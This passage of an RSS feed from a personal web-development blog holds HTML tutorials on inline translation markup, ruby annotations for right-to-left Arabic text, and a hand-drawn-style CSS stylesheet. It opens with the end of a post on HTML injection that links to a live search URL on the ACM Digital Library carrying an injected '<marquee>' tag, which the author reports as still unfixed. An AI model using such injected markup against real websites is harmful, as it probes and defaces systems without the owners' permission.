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" width="550"></video></section><hr class="social-embed-hr"><footer class="social-embed-footer"><a href="https://twitter.com/edent/status/1533201088941285377" aria-label="10 likes" class="social-embed-meta">❤️ 10</a><a href="https://twitter.com/edent/status/1533201088941285377" aria-label="0 replies" class="social-embed-meta">💬 0</a><a href="https://twitter.com/edent/status/1533201088941285377" aria-label="0 retweets" class="social-embed-meta">♻️ 0</a><a href="https://twitter.com/edent/status/1533201088941285377"><time datetime="2022-06-04T21:36:39.000Z">21:36 - Sat 04 June 2022</time></a></footer></blockquote>

<p>I reported the issue immediately, and got an acknowledgement. But, sadly, after a few months the website was still not fixed.</p>

<p>Take a bow, <a href="https://dl.acm.org/action/doSearch?AllField=%3Cmarquee%3EWhoops%21">ACM Digital Library!</a></p>
<img src="https://shkspr.mobi/blog/wp-content/themes/edent-wordpress-theme/info/okgo.php?ID=42759&HTTP_REFERER=RSS" alt="" width="1" height="1" loading="eager">]]></content:encoded>
					
					<wfw:commentRss>https://shkspr.mobi/blog/2022/08/whats-the-most-malicious-thing-you-can-do-with-an-injected-html-heading-element/feed/</wfw:commentRss>
			<slash:comments>3</slash:comments>
		
		<enclosure url="https://video.twimg.com/ext_tw_video/1533201033920450560/pu/vid/1280x718/0Ysl5rTjzywBh64K.mp4?tag=12" length="163170" type="video/mp4" />

			</item>
		<item>
		<title><![CDATA[Simultaneous Translation in HTML]]></title>
		<link>https://shkspr.mobi/blog/2022/07/simultaneous-translation-in-html/</link>
					<comments>https://shkspr.mobi/blog/2022/07/simultaneous-translation-in-html/#comments</comments>
				<dc:creator><![CDATA[@edent]]></dc:creator>
		<pubDate>Tue, 12 Jul 2022 11:34:43 +0000</pubDate>
				<category><![CDATA[/etc/]]></category>
		<category><![CDATA[HTML5]]></category>
		<category><![CDATA[i18n]]></category>
		<guid isPermaLink="false">https://shkspr.mobi/blog/?p=42919</guid>

					<description><![CDATA[How do you show two languages simultaneously in HTML?  If you want to show text in a foreign language, the markup is simple:  &#60;html lang=&#34;en-GB&#34;&#62; ... As Caesar said: &#60;i lang=&#34;la&#34;&#62;veni vidi vici&#60;/i&#62;   That says the page is in British English (en-GB) but the specific phrase is in Latin (la). But how can you offer an in-text translation of that phrase into the page&#039;s native language?  Here are a few …]]></description>
										<content:encoded><![CDATA[<p>How do you show two languages simultaneously in HTML?  If you want to show text in a foreign language, the markup is simple:</p>

<pre><code class="language-html">&lt;html lang="en-GB"&gt;
...
As Caesar said: &lt;i lang="la"&gt;veni vidi vici&lt;/i&gt;
</code></pre>

<p>That says the page is in British English (en-GB) but the specific phrase is in Latin (la). But how can you offer an in-text translation of that phrase into the page's native language?</p>

<p>Here are a few options - and their drawbacks.</p>

<h2 id="title-text"><a href="https://shkspr.mobi/blog/2022/07/simultaneous-translation-in-html/#title-text">Title Text</a></h2>

<pre><code class="language-html">&lt;i lang="la" title="I came, I saw, I conquered"&gt;veni vidi vici&lt;/i&gt;
</code></pre>

<p><br>
<i lang="la" title="I came, I saw, I conquered">veni vidi vici</i></p>

<p>The user has to hover their pointer over the text and a pop-up will appear with the translation.  There are two disadvantages to this:</p>

<ol>
<li>Not all devices - like mobile browsers - support title text.</li>
<li>The title text has no separate language attribute - so is semantically in Latin.</li>
</ol>

<p>The language can be corrected by <a href="https://twitter.com/nevali/status/1537354665968513026">wrapping the title in a separate span</a>.</p>

<h2 id="tables"><a href="https://shkspr.mobi/blog/2022/07/simultaneous-translation-in-html/#tables">Tables</a></h2>

<p>The humble <code>&lt;table&gt;</code> can present two or more items of text adjacent to one another.</p>

<pre><code class="language-html">&lt;table&gt;
   &lt;tr&gt;
      &lt;td lang="la"&gt;veni vidi vici&lt;/td&gt;
      &lt;td lang="en"&gt;I came, I saw, I conquered&lt;/td&gt;
   &lt;/td&gt;
&lt;/table&gt;
</code></pre>

<p><br></p>

<table>
   <tbody><tr>
      <td lang="la">veni vidi vici</td>
      <td lang="en">I came, I saw, I conquered</td>
   
</tr></tbody></table>

<p>Tables can be problematic on narrow screens - either requiring wrapping or scrolling.</p>

<h2 id="details"><a href="https://shkspr.mobi/blog/2022/07/simultaneous-translation-in-html/#details">Details</a></h2>

<pre><code class="language-html">&lt;details&gt;
    &lt;summary lang="la"&gt;veni vidi vici&lt;/summary&gt;
    I came, I saw, I conquered
&lt;/details&gt;
</code></pre>

<p><br></p>

<details>
    <summary lang="la">veni vidi vici</summary>
    I came, I saw, I conquered
</details>

<p>Again, it requires interaction - which may not work on devices like eReaders. Unfortunately, details is a block element, but you can <a href="https://shkspr.mobi/blog/2020/12/a-terrible-way-to-do-footnotes-in-html/">read my experiments in making them inline</a>.</p>

<h2 id="ruby"><a href="https://shkspr.mobi/blog/2022/07/simultaneous-translation-in-html/#ruby">Ruby</a></h2>

<p>As <a href="https://twitter.com/jribbens/status/1475632280894943234">suggested by John Ribbens</a></p>

<pre><code class="language-html">&lt;ruby lang="la"&gt;
   veni vidi vici
   &lt;rt lang="en-GB"&gt;I came, I saw, I conquered&lt;/rt&gt;
&lt;/ruby&gt;
</code></pre>

<p><br>
<ruby lang="la">
   veni vidi vici
   <rt lang="en-GB">I came, I saw, I conquered</rt>
</ruby></p>

<p>That works quite well - although Ruby text is pretty small. But it can be styled with CSS.</p>

<p>Ruby is usually used for <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/ruby">showing pronunciation of characters</a>. But, crucially, <a href="https://html.spec.whatwg.org/multipage/text-level-semantics.html#the-ruby-element">it isn't <em>restricted</em> to that</a>.</p>

<h2 id="description-lists"><a href="https://shkspr.mobi/blog/2022/07/simultaneous-translation-in-html/#description-lists">Description Lists</a></h2>

<pre><code class="language-html">&lt;dl&gt;
    &lt;dt lang="la"&gt;veni vidi vici&lt;/dt&gt;
    &lt;dd&gt;I came, I saw, I conquered&lt;/dd&gt;
&lt;/dl&gt;
</code></pre>

<p><br></p>

<dl>
    <dt lang="la">veni vidi vici</dt>
    <dd>I came, I saw, I conquered</dd>
</dl>

<p>Again, very easy to style with CSS. One of the nice things about <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/dl">Description Lists</a> is that it allows for <em>multiple</em> definitions:</p>

<pre><code class="language-html">&lt;dl&gt;
    &lt;dt lang="la"&gt;veni vidi vici&lt;/dt&gt;
    &lt;dd&gt;I came, I saw, I conquered&lt;/dd&gt;
    &lt;dd lang="ja"&gt;私は私が征服した来た&lt;/dd&gt;
&lt;/dl&gt;
</code></pre>

<h2 id="mix-them-all-together"><a href="https://shkspr.mobi/blog/2022/07/simultaneous-translation-in-html/#mix-them-all-together">MIX THEM ALL TOGETHER!</a></h2>

<p>Let's take a section from <a href="https://www.gutenberg.org/cache/epub/2383/pg2383.html">Chaucer's Canterbury Tales</a>. Most of the Middle English is understandable - but a few archaic words need translation. It's also useful to have some commentary on the text.</p>

<pre><code class="language-html">&lt;dl&gt;
   &lt;dt lang="enm"&gt;Full many a fat partridge had he in 
      &lt;ruby&gt;mew&lt;rp&gt;(&lt;/rp&gt;&lt;rt lang="en-GB"&gt;cage&lt;/rt&gt;&lt;rp&gt;)&lt;/rp&gt;&lt;/ruby&gt;
   &lt;/dt&gt;
   &lt;dd&gt;The place behind Whitehall, where the King's hawks were caged was called the Mews.&lt;/dd&gt;
&lt;/dl&gt;

&lt;details&gt;
   &lt;summary lang="enm"&gt;And many a bream, and many a 
      &lt;ruby&gt;luce&lt;rp&gt;(&lt;/rp&gt;&lt;rt lang="en-GB"&gt;pike&lt;/rt&gt;&lt;rp&gt;)&lt;/rp&gt;
      in 
      &lt;ruby&gt;stew&lt;rp&gt;(&lt;/rp&gt;&lt;rt lang="en-GB"&gt;fish-pond&lt;/rt&gt;&lt;rp&gt;)&lt;/rp&gt;
   &lt;/summary&gt;
   In those Catholic days, when much fish was eaten, no gentleman's mansion was complete without a "stew".
&lt;/details&gt;
</code></pre>

<p><br></p>

<dl>
   <dt lang="enm">Full many a fat partridge had he in <ruby>mew<rp>(</rp><rt lang="en-GB">cage</rt><rp>)</rp></ruby></dt>
   <dd>The place behind Whitehall, where the King's hawks were caged was called the Mews.</dd>
</dl>

<details>
   <summary style="font-weight: normal;" lang="enm">And many a bream, and many a <ruby>luce<rp>(</rp><rt lang="en-GB">pike</rt><rp>)</rp> in <ruby>stew<rp>(</rp><rt lang="en-GB">fish-pond</rt><rp>)</rp></ruby></ruby></summary>
   In those Catholic days, when much fish was eaten, no gentleman's mansion was complete without a "stew".
</details>

<h2 id="which-should-you-use"><a href="https://shkspr.mobi/blog/2022/07/simultaneous-translation-in-html/#which-should-you-use">Which should you use?</a></h2>

<p>Yes.</p>

<p>There's no definitive "correct" answer here. <code>title</code> text might make sense for occasional words which need translating - and you're sure either the user's device supports it, or they won't be substantially disadvantaged if it doesn't.</p>

<p>Similarly, <code>details</code> works for interactive content which is <em>optional</em> to understanding.</p>

<p>The <code>ruby</code> elements are great if you want a fairly unobtrusive way to translate <em>specific</em> words.</p>

<p>Lists are great if you need to offer <em>multiple</em> translations.</p>

<p>Mashing them all together is a bit silly and complicated - but allows for a greater variety in the way the texts are displayed.</p>
<img src="https://shkspr.mobi/blog/wp-content/themes/edent-wordpress-theme/info/okgo.php?ID=42919&HTTP_REFERER=RSS" alt="" width="1" height="1" loading="eager">]]></content:encoded>
					
					<wfw:commentRss>https://shkspr.mobi/blog/2022/07/simultaneous-translation-in-html/feed/</wfw:commentRss>
			<slash:comments>1</slash:comments>
		
		
			</item>
		<item>
		<title><![CDATA[HTML Ruby and Bidirectional Text]]></title>
		<link>https://shkspr.mobi/blog/2022/06/html-ruby-and-bidirectional-text/</link>
					<comments>https://shkspr.mobi/blog/2022/06/html-ruby-and-bidirectional-text/#comments</comments>
				<dc:creator><![CDATA[@edent]]></dc:creator>
		<pubDate>Wed, 22 Jun 2022 11:34:37 +0000</pubDate>
				<category><![CDATA[/etc/]]></category>
		<category><![CDATA[HTML5]]></category>
		<category><![CDATA[i18n]]></category>
		<guid isPermaLink="false">https://shkspr.mobi/blog/?p=42945</guid>

					<description><![CDATA[The set of HTML &#60;ruby&#62; elements allow us to add pronunciation above text. For example:  &#34;When you visit the zoo, be sure to see the panda - 熊(Xióng)猫(māo).&#34;  This is written as:  &#60;ruby&#62;熊&#60;rp&#62;(&#60;/rp&#62;&#60;rt&#62;Xióng&#60;/rt&#62;&#60;rp&#62;)&#60;/rp&#62;&#60;/ruby&#62;&#60;ruby&#62;猫&#60;rp&#62;(&#60;/rp&#62;&#60;rt&#62;māo&#60;/rt&#62;&#60;rp&#62;)&#60;/rp&#62;&#60;/ruby&#62;.   That is, the word or character which needs text above it is wrapped in &#60;ruby&#62;. The pronunciation is wrapped in &#60;rt&#62;. The &#60;r…]]></description>
										<content:encoded><![CDATA[<p>The set of <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/rp">HTML <code>&lt;ruby&gt;</code> elements</a> allow us to add pronunciation above text. For example:</p>

<p>"When you visit the zoo, be sure to see the panda - <ruby>熊<rp>(</rp><rt>Xióng</rt><rp>)</rp></ruby><ruby>猫<rp>(</rp><rt>māo</rt><rp>)</rp></ruby>."</p>

<p>This is written as:</p>

<pre><code class="language-html">&lt;ruby&gt;熊&lt;rp&gt;(&lt;/rp&gt;&lt;rt&gt;Xióng&lt;/rt&gt;&lt;rp&gt;)&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;猫&lt;rp&gt;(&lt;/rp&gt;&lt;rt&gt;māo&lt;/rt&gt;&lt;rp&gt;)&lt;/rp&gt;&lt;/ruby&gt;.
</code></pre>

<p>That is, the word or character which needs text above it is wrapped in <code>&lt;ruby&gt;</code>. The pronunciation is wrapped in <code>&lt;rt&gt;</code>. The <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/rp"><code>&lt;rp&gt;</code> element</a> indicates the presence of a parenthesis - which isn't usually displayed, but will be shown if the browser doesn't support <code>&lt;ruby&gt;</code> syntax.</p>

<p>That's fairly easy for scripts written left-to-right. But how does it work for scripts like Arabic where the text is written right-to-left, but the user may want the pronunciations left-to-right?</p>

<p>Let's take the phrase "Hello World" in Arabic: <span dir="rtl">مرحبا بالعالم</span>. Google Translate tells me this is pronounced "marhaban bialealami".</p>

<p>For a single word, the directionality can be ignored. The browser should be smart enough to place the pronunciation above the word:</p>

<pre><code class="language-html">&lt;p&gt;Hello is: &lt;ruby&gt;مرحبا&lt;rp&gt;(&lt;/rp&gt;&lt;rt&gt;marhaban&lt;/rt&gt;&lt;rp&gt;)&lt;/rp&gt;&lt;/ruby&gt;. What a useful word!&lt;/p&gt;
</code></pre>

<p>Hello is: <ruby>مرحبا<rp>(</rp><rt>marhaban</rt><rp>)</rp></ruby>. What a useful word!</p>

<p>What about if we have a few words - or a whole sentence - which is entirely RTL?</p>

<pre><code class="language-html">&lt;p dir="rtl"&gt;مرحبا بالعالم&lt;/p&gt;
</code></pre>

<p>Is displayed aligned to the right side of the screen:</p>

<p dir="rtl" style="font-size: 2em;">مرحبا بالعالم</p>

<p>There are a few ways to add pronunciation.</p>

<h2 id="separate-the-words"><a href="https://shkspr.mobi/blog/2022/06/html-ruby-and-bidirectional-text/#separate-the-words">Separate The Words</a></h2>

<p>The first is to write each word separately.  For example <code>&lt;ruby&gt;1st word&lt;/ruby&gt; &lt;ruby&gt;2nd word&lt;/ruby&gt;</code>. Obviously, this isn't normally how you'd write a RTL language! But it does work:</p>

<pre><code class="language-html">&lt;p dir="rtl"&gt;&lt;ruby&gt;مرحبا&lt;rp&gt;(&lt;/rp&gt;&lt;rt&gt;marhaban&lt;/rt&gt;&lt;rp&gt;)&lt;/rp&gt;&lt;/ruby&gt; &lt;ruby&gt;بالعالم&lt;rp&gt;(&lt;/rp&gt;&lt;rt&gt;bialealami&lt;/rt&gt;&lt;rp&gt;)&lt;/rp&gt;&lt;/ruby&gt;&lt;/p&gt;
</code></pre>

<p>Which displays as:</p>

<p dir="rtl" style="font-size: 2em;"><ruby>مرحبا<rp>(</rp><rt>marhaban</rt><rp>)</rp></ruby> <ruby>بالعالم<rp>(</rp><rt>bialealami</rt><rp>)</rp></ruby></p>

<p>It helps to think of the way the characters of the script are stored in memory.</p>

<p>A word that <em>displays</em> as <code>ABC</code> is <em>stored</em> as <code>C</code> <code>B</code> <code>A</code>.</p>

<p>So the above is written "correctly" - even though it looks odd in the source-code view.</p>

<h2 id="all-at-once"><a href="https://shkspr.mobi/blog/2022/06/html-ruby-and-bidirectional-text/#all-at-once">All At Once</a></h2>

<p>But there is an alternative if you want the source text to look natural - i.e. <code>[2nd word] [1st word]</code>.</p>

<p>It's a bit messy, but you can write the LTR text in <em><code>&lt;rt&gt;</code></em> "backwards"!</p>

<pre><code class="language-html">&lt;p dir="rtl"&gt;&lt;ruby&gt;مرحبا بالعالم&lt;rt&gt;bialealami marhaban&lt;/rt&gt;&lt;/ruby&gt;&lt;/p&gt;
</code></pre>

<p dir="rtl" style="font-size: 2em;"><ruby>مرحبا بالعالم<rt>bialealami marhaban</rt></ruby></p>

<p>But, again, that doesn't seem very satisfying! It also divorces the pronunciation from the original word - which is unfortunate for screenreaders.</p>

<p>The Ruby layout algorithm is usually clever enough to group words separated by spaces:</p>

<p dir="rtl" style="font-size: 2em;"><ruby>مرحبا بالعالم<rt>B A</rt></ruby></p>

<p dir="rtl" style="font-size: 2em;"><ruby>مرحبا بالعالم<rt>Bbbbbbbbbbbbbb Aaaaaaaaaaaaa</rt></ruby></p>

<p>Although, if the pronunciations have a significantly different length than each other, it can get a bit messy:</p>

<p dir="rtl" style="font-size: 2em;"><ruby>مرحبا بالعالم<rt>Bbbbbbbbbbbbbb A</rt></ruby></p>

<p dir="rtl" style="font-size: 2em;"><ruby>مرحبا بالعالم<rt>B Aaaaaaaaaaaaa</rt></ruby></p>

<p>In which case, you probably need to go for the first technique and wrap each word in its own <code>&lt;ruby&gt;</code> element:</p>

<p dir="rtl" style="font-size: 2em;"><ruby>مرحبا<rp>(</rp><rt>A</rt><rp>)</rp></ruby> <ruby>بالعالم<rp>(</rp><rt>Bbbbbbbbbbbbbb</rt><rp>)</rp></ruby></p>

<h2 id="bdo"><a href="https://shkspr.mobi/blog/2022/06/html-ruby-and-bidirectional-text/#bdo">BDO</a></h2>

<p>It's tempting to think that simply using <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/bdo">the <code>&lt;bdo&gt;</code> element</a> can help us here. It can't!</p>

<p>Using the bidirectional override will display <em>characters</em> RTL, rather than words.</p>

<pre><code class="language-html">&lt;p dir="rtl"&gt;&lt;ruby&gt;مرحبا بالعالم&lt;rt&gt;&lt;bdo dir="rtl"&gt;marhaban bialealami&lt;/bdo&gt;&lt;/rt&gt;&lt;/ruby&gt;&lt;/p&gt;
</code></pre>

<p>Becomes:</p>

<p dir="rtl" style="font-size: 2em;"><ruby>مرحبا بالعالم<rt><bdo dir="rtl">marhaban bialealami</bdo></rt></ruby></p>

<p>I guess you could spell each word backwards. Which would be extremely annoying for everyone and a complete nightmare for screen readers!</p>

<p>Instead, it can be fixed if each word is then given an explicit LTR direction:</p>

<pre><code class="language-html">&lt;p dir="rtl"&gt;&lt;ruby&gt;مرحبا بالعالم&lt;rt&gt;
   &lt;bdo dir="rtl"&gt;
      &lt;span dir="ltr"&gt;marhaban&lt;/span&gt; &lt;span dir="ltr"&gt;bialealami&lt;/span&gt;
   &lt;/bdo&gt;&lt;/rt&gt;&lt;/ruby&gt;&lt;/p&gt;
</code></pre>

<p dir="rtl" style="font-size: 2em;"><ruby>مرحبا بالعالم<rt>
   <bdo dir="rtl">
      <span dir="ltr">marhaban</span> <span dir="ltr">bialealami</span>
   </bdo></rt></ruby></p>

<h2 id="is-that-it"><a href="https://shkspr.mobi/blog/2022/06/html-ruby-and-bidirectional-text/#is-that-it">Is that it?</a></h2>

<p>So, I <em>think</em> those are the only ways to achieving mixing bidirectional text pronunciation. But I'd welcome any corrections and suggestions!</p>
<img src="https://shkspr.mobi/blog/wp-content/themes/edent-wordpress-theme/info/okgo.php?ID=42945&HTTP_REFERER=RSS" alt="" width="1" height="1" loading="eager">]]></content:encoded>
					
					<wfw:commentRss>https://shkspr.mobi/blog/2022/06/html-ruby-and-bidirectional-text/feed/</wfw:commentRss>
			<slash:comments>3</slash:comments>
		
		
			</item>
		<item>
		<title><![CDATA[Paper Prototype CSS]]></title>
		<link>https://shkspr.mobi/blog/2022/06/paper-prototype-css/</link>
					<comments>https://shkspr.mobi/blog/2022/06/paper-prototype-css/#comments</comments>
				<dc:creator><![CDATA[@edent]]></dc:creator>
		<pubDate>Sat, 04 Jun 2022 11:34:34 +0000</pubDate>
				<category><![CDATA[/etc/]]></category>
		<category><![CDATA[css]]></category>
		<category><![CDATA[HTML5]]></category>
		<guid isPermaLink="false">https://shkspr.mobi/blog/?p=42799</guid>

					<description><![CDATA[Introducing Paper Prototype CSS.  When I first started designing the OpenBenches website, I wanted to make it look deliberately crappy. I didn&#039;t want the people testing it getting too hung up on what it looked like.  I&#039;ve found that some beta testers can only focus on whether the colours are right, or if things should be placed on the left or right.  So I wanted something which mimicked &#34;Paper…]]></description>
										<content:encoded><![CDATA[<p>Introducing <a href="https://edent.gitlab.io/paper-prototype-css/">Paper Prototype CSS</a>.</p>

<p>When I first started designing the <a href="https://openbenches.org">OpenBenches website</a>, I wanted to make it look <em>deliberately</em> crappy. I didn't want the people testing it getting too hung up on what it looked like.  I've found that some beta testers can only focus on whether the colours are right, or if things should be placed on the left or right.</p>

<p>So I wanted something which mimicked "Paper Prototyping".  A website which looked vaguely hand-drawn.  As though it were scraps of paper and Post-It® Notes stuck on a roll of canvas.</p>

<img src="https://shkspr.mobi/blog/wp-content/uploads/2022/06/open-benches-paper.png" alt="Screenshots of a black and white website where the elements look hand-drawn." width="791" height="269" class="aligncenter size-full wp-image-42805">

<p>That way, people can immediately see that the design is deliberately "scrappy" and temporary.</p>

<p>I've decided to go a little further than my last experiment and create a fairly comprehensive Style Sheet which you can use on any new project - <a href="https://edent.gitlab.io/paper-prototype-css/">Paper Prototype CSS</a>.</p>

<p>Here's what it looks like:</p>

<img src="https://shkspr.mobi/blog/wp-content/uploads/2022/06/headings.jpeg" alt="Some headings and text. They have a hand-written look and are askew on the page." width="680" height="497" class="alignnone size-full wp-image-42800">

<img src="https://shkspr.mobi/blog/wp-content/uploads/2022/06/cat.jpeg" alt="An image which looks like it has been quickly and inaccurately cut out from paper." width="572" height="680" class="alignnone size-full wp-image-42801">

<img src="https://shkspr.mobi/blog/wp-content/uploads/2022/06/list.jpeg" alt="A list of items - all stuck one on top on the other." width="374" height="680" class="alignnone size-full wp-image-42802">

<img src="https://shkspr.mobi/blog/wp-content/uploads/2022/06/table.jpeg" alt="An HTML table - every element is askance." width="900" height="625" class="alignnone size-full wp-image-42803">

<p>To be clear, this is <em>not</em> designed to look good - quite the opposite. It is a base to build on so you can build something quick and <strong>dirty</strong>.</p>

<p>Use it to throw together something where you want to concentrate on the content, not the presentation.</p>

<h2 id="features"><a href="https://shkspr.mobi/blog/2022/06/paper-prototype-css/#features">Features</a></h2>

<p>The askew elements use nth child selectors to rotate them in different directions:</p>

<pre><code class="language-css">*:nth-child(odd):not(body):not(html){
   transform: rotate(2deg);
}
*:nth-child(even):not(body):not(html) {
   transform: rotate(-2deg);
}
</code></pre>

<p>The weird <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/border-radius">border radius</a> uses:</p>

<pre><code class="language-css">border-radius: 255px 15px 225px 15px/15px 225px 15px 255px;
</code></pre>

<h2 id="with-thanks-to"><a href="https://shkspr.mobi/blog/2022/06/paper-prototype-css/#with-thanks-to">With thanks to</a></h2>

<p>Everything is based on something else. I took heavy inspiration from, and made liberal use of:</p>

<ul>
<li><a href="https://github.com/fxaeberhard/handdrawn.css">Handdrawn CSS</a></li>
